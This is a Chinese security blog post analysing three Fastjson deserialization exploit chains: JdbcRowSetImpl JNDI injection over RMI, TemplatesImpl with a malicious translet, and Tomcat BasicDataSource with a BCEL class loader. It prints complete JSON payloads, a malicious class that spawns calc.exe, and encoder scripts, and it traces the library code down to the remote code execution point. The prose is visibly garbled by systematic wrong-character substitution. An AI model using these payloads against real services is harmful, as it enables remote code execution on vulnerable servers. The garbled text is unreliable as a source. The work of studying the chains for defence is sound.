关于java:Fastjson-的-3-种漏洞利用链一起来看看

作者：4ra1n
起源：https://www.anquanke.com/post…

Fastjson 已被大家剖析过很屡次，本文次要是对三种利用链做剖析和比照

String payload = "{\n" +
    "\"a\":{\n" +
    "\"@type\":\"java.lang.Class\",\n" +
    "\"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
    "},\n" +
    "\"b\":{\n" +
    "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
    "\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
    "\"autoCommit\":true\n" +
    "}\n" +
    "}";
JSON.parse(payload);

payload 中的 a 对象用来当作缓存绕过，须要关注的是第二个对象

留神到其中"autoCommit":true，反序列化时，会反射设置属性，调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

    public void setAutoCommit(boolean var1) throws SQLException {if (this.conn != null) {this.conn.setAutoCommit(var1);
        } else {
            // conn 为空才会调用到这里
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }
    }

跟入com.sun.rowset.JdbcRowSetImpl.connect()，触发lookup，加载近程歹意对象

protected Connection connect() throws SQLException {if (this.conn != null) {return this.conn;} else if (this.getDataSourceName() != null) {
        try {
            // conn 为空且 dataSourceName 不为空才会到这里
            InitialContext var1 = new InitialContext();
            // 胜利触发 JNDI 注入
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

依据 lookup 到com.sun.jndi.rmi.registry.RegistryContext.lookup()

    public Object lookup(Name var1) throws NamingException {if (var1.isEmpty()) {
            ......
            return this.decodeObject(var2, var1.getPrefix(1));
        }
    }

跟入 decodeObject 办法，看到加载了近程 Reference 绑定的歹意对象

Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);

总结：

实战能够利用，JDNI 注入基于较低版本的 JDK，LDAP 适用范围更广
必须能出网，加载远端的歹意字节码，造成了局限性

String payload = "{\"a\":{\n" +
    "\"@type\":\"java.lang.Class\",\n" +
    "\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
    "},\n" +
    "\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
    "\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload, Feature.SupportNonPublicField);

留神其中的 Payload 来自于歹意类，该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

public class TEMPOC extends AbstractTranslet {public TEMPOC() throws IOException {Runtime.getRuntime().exec("calc.exe");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { }
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { }
    public static void main(String[] args) throws Exception {TEMPOC t = new TEMPOC();
    }
}

相似第一条链，应用两个对象绕过，其中的 Payload 为歹意类的字节码再 Base64 编码的后果，给出繁难的 py 脚本

fin = open(r"PATH-TO-TEMPOC.class", "rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
print(fout)

该链须要开启 Feature.SupportNonPublicField 参数再反射设置属性，查看官网阐明，如果某属性不存在 set 办法，但还想设置值时，须要开启该参数，这里的状况正好合乎，而理论我的项目中很少呈现这种状况，导致该链较鸡肋，没有理论的意义（其实 TemplateImpl 类中有 set 办法，比方 setTransletBytecodes，然而名称和Bytecodes 不统一）

在 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField 设置属性时会有判断

final int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null
    && (lexer.isEnabled(mask)
        || (this.beanInfo.parserFeatures & mask) != 0)) {......

反序列化时，fastjson 中会把”_”结尾的属性替换为空。并在 outputProperties 设置值时调用getOutputProperties

   public synchronized Properties getOutputProperties() {
        try {return newTransformer().getOutputProperties();}
        catch (TransformerConfigurationException e) {return null;}
    }

调用到 com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer 办法

transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

跟入getTransletInstance

// name 不能为空所以在 payload 中设置 a.b
if (_name == null) return null;
// 要害
if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

再跟入 defineTransletClasses，对父类进行了验证，这样解释了为什么 Payload 歹意类要继承自该类。如果验证没有问题，将在上方的newInstance 办法中实例化该类，造成 RCE

private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}

为什么 _bytescode 要对字节码进行 base64 编码？反序列化的过程中会调用很多类，在通过该类 com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze 的时候，会对字段进行一次 base64 的解码

......
if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {byte[] bytes = lexer.bytesValue();
    ......

跟入 lexer.bytesValue() 办法，看到decodeBase64

public byte[] bytesValue() {
    ......
    // base64 解码
    return IOUtils.decodeBase64(buf, np + 1, sp);
}

总结：

TemplatesImpl 类是 Java 反序列化界比拟罕用的类，更容易了解和上手
须要开启Feature.SupportNonPublicField，实战中不实用

String payload = "{\n" +
    "\"name\":\n" +
    "{\n" +
    "\"@type\": \"java.lang.Class\",\n" +
    "\"val\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
    "},\n" +
    "\"x\": {\n" +
    "\"name\": {\n" +
    "\"@type\": \"java.lang.Class\",\n" +
    "\"val\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    "},\n" +
    "\"y\": {\n" +
    "\"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
    "\"c\": {\n" +
    "\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
    "\"driverClassLoader\": {\n" +
    "\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    "},\n" +
    "\"driverClassName\":\"!!!Payload!!!\",\n" +
    "\n" +
    "\"$ref\": \"$.x.y.c.connection\"\n" +
    "\n" +
    "}\n" +
    "}\n" +
    "}\n" +
    "}";
JSON.parse(payload);

这个 Payload 实用于 1.2.37 版本，并且须要导入 Tomcat 相干的包

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.37</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-dbcp</artifactId>
        <version>8.0.36</version>
    </dependency>
</dependencies>

生成 driverClassName 的工具如下

import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;

public class Test {public static void main(String[] args) throws Exception {JavaClass cls = Repository.lookupClass(Exp.class);
        String code = Utility.encode(cls.getBytes(), true);
        code = "$$BCEL$$" + code;
        new ClassLoader().loadClass(code).newInstance();
        System.out.println(code);
    }
}

BCEL 的全名是 Apache Commons BCEL，Apache Commons 我的项目下的一个子项目，蕴含在 JDK 的原生库中。咱们能够通过 BCEL 提供的两个类 Repository 和 Utility 来利用：Repository 用于将一个 Java Class 先转换成原生字节码，当然这里也能够间接应用 javac 命令来编译 java 文件生成字节码；Utility 用于将原生的字节码转换成 BCEL 格局的字节码。

生成的 BCEL 格局大略如下：

$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......

将这种格局的字符串，作为“字节码”传入 new ClassLoader().loadClass(code).newInstance(); 将会被实例化，当咱们在 Fastjson 反序列化中结构出这种链，将会造成反序列化破绽

回到 Payload，结尾一部分用于绕 Fastjson 黑白名单，没有什么非凡的意义，外围局部如下：

"x" : {
    "name": {
        "@type" : "java.lang.Class",
        "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "y": {
        "@type":"com.alibaba.fastjson.JSONObject",
        "c": {
            "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
            "driverClassLoader": {"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"},
            "driverClassName":"!!!Payload!!!",
            "$ref": "$.x.y.c.connection"
        }
    }
}

这个版本利用的是 $ref 这个个性：当 fastjson 版本 >=1.2.36 时，咱们能够应用 $ref 的形式来调用任意的 getter，比方这个 Payload 调用的是x.y.c.connection，x 是这个大对象，最终调用的是 c 对象的 connection 办法，也就是BasicDataSource.connection

参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

if ("$ref" == key && context != null) {
    // 传入的 ref 是 $.x.y.c.connection，匹配到 else
    if ("@".equals(ref)) {...} else if ("..".equals(ref)) {...} else if ("$".equals(ref)) {...} else {Object refObj = parser.resolveReference(ref);
        if (refObj != null) {object = refObj;} else {
            // 将 $.x.y.c.connection 退出到 Task
            parser.addResolveTask(new ResolveTask(context, ref));
            parser.resolveStatus = DefaultJSONParser.NeedToResolve;
        }
    }
}
// 解决后设置到 context
parser.setContext(context, object, fieldName);

破绽的触发点在com.alibaba.fastjson.JSON.parse:154

parser.handleResovleTask(value);

跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

if (ref.startsWith("$")) {refValue = getObject(ref);
    if (refValue == null) {
        try {
            // 看到 eval 感觉有货色
            refValue = JSONPath.eval(value, ref);
        } catch (JSONPathException ex) {// skip}
    }
}

跟入 JSONPath.eval，这里的segement 数组中的是[x,y,c,connection]

public Object eval(Object rootObject) {if (rootObject == null) {return null;}

    init();

    Object currentObject = rootObject;
    for (int i = 0; i < segments.length; ++i) {Segement segement = segments[i];
        // 持续跟入
        currentObject = segement.eval(this, rootObject, currentObject);
    }
    return currentObject;
}

达到com.alibaba.fastjson.JSONPath:1350

public Object eval(JSONPath path, Object rootObject, Object currentObject) {if (deep) {List<Object> results = new ArrayList<Object>();
        path.deepScan(currentObject, propertyName, results);
        return results;
    } else {// return path.getPropertyValue(currentObject, propertyName, true);
        return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
    }
}

持续跟入path.getPropertyValue

protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {if (currentObject == null) {return null;}
    if (currentObject instanceof Map) {Map map = (Map) currentObject;
        Object val = map.get(propertyName);

        if (val == null && SIZE == propertyNameHash) {val = map.size();
        }

        return val;
    }

    final Class<?> currentClass = currentObject.getClass();

    JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
    if (beanSerializer != null) {
        try {
            // 最初一次循环达到这里
            return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
        } catch (Exception e) {throw new JSONPathException("jsonpath error, path" + path + ", segement" + propertyName, e);
        }
    }

跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {FieldSerializer fieldDeser = getFieldSerializer(keyHash);
    ......
    // 跟入
    return fieldDeser.getPropertyValue(object);
}

跟入com.alibaba.fastjson.serializer.FieldSerializer:145

public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {Object propertyValue =  fieldInfo.get(object);

达到com.alibaba.fastjson.util.FieldInfo，达到最终触发点：method.invoke

public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
    return method != null
            ? method.invoke(javaObject)
            : field.get(javaObject);
}

看到这里的 javaObject 正是BasicDataSouce

回到 BasicDataSource 自身

public Connection getConnection() throws SQLException {if (Utils.IS_SECURITY_ENABLED) {
        // 跟入
        final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
        try {return AccessController.doPrivileged(action);
        } catch (final PrivilegedActionException e) {final Throwable cause = e.getCause();
            if (cause instanceof SQLException) {throw (SQLException) cause;
            }
            throw new SQLException(e);
        }
    }
    return createDataSource().getConnection();
}
    private class PaGetConnection implements PrivilegedExceptionAction<Connection> {

        @Override
        public Connection run() throws SQLException {// 跟入 createDataSource()
            return createDataSource().getConnection();
        }
    }
// 持续跟入 createConnectionFactory()
final ConnectionFactory driverConnectionFactory = createConnectionFactory();

最终触发点，其中 driverClassName 和driverClassLoader都是可控的，由用户输出，指定 ClassLoader 为 com.sun.org.apache.bcel.internal.util.ClassLoader，设置 ClassName 为BCEL... 这种格局后，在 newInstance 办法执行后被实例化。第二个参数 initial 为 true 时，类加载后将会间接执行 static{} 块中的代码。

if (driverClassLoader == null) {driverFromCCL = Class.forName(driverClassName);
} else {
    driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}
...
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
...
driverToUse = (Driver) driverFromCCL.newInstance();

总结：

不须要出网，不须要开启非凡的参数，适用范围较广
指标须要引入 tomcat 依赖，虽说比拟常见，但也是一种限度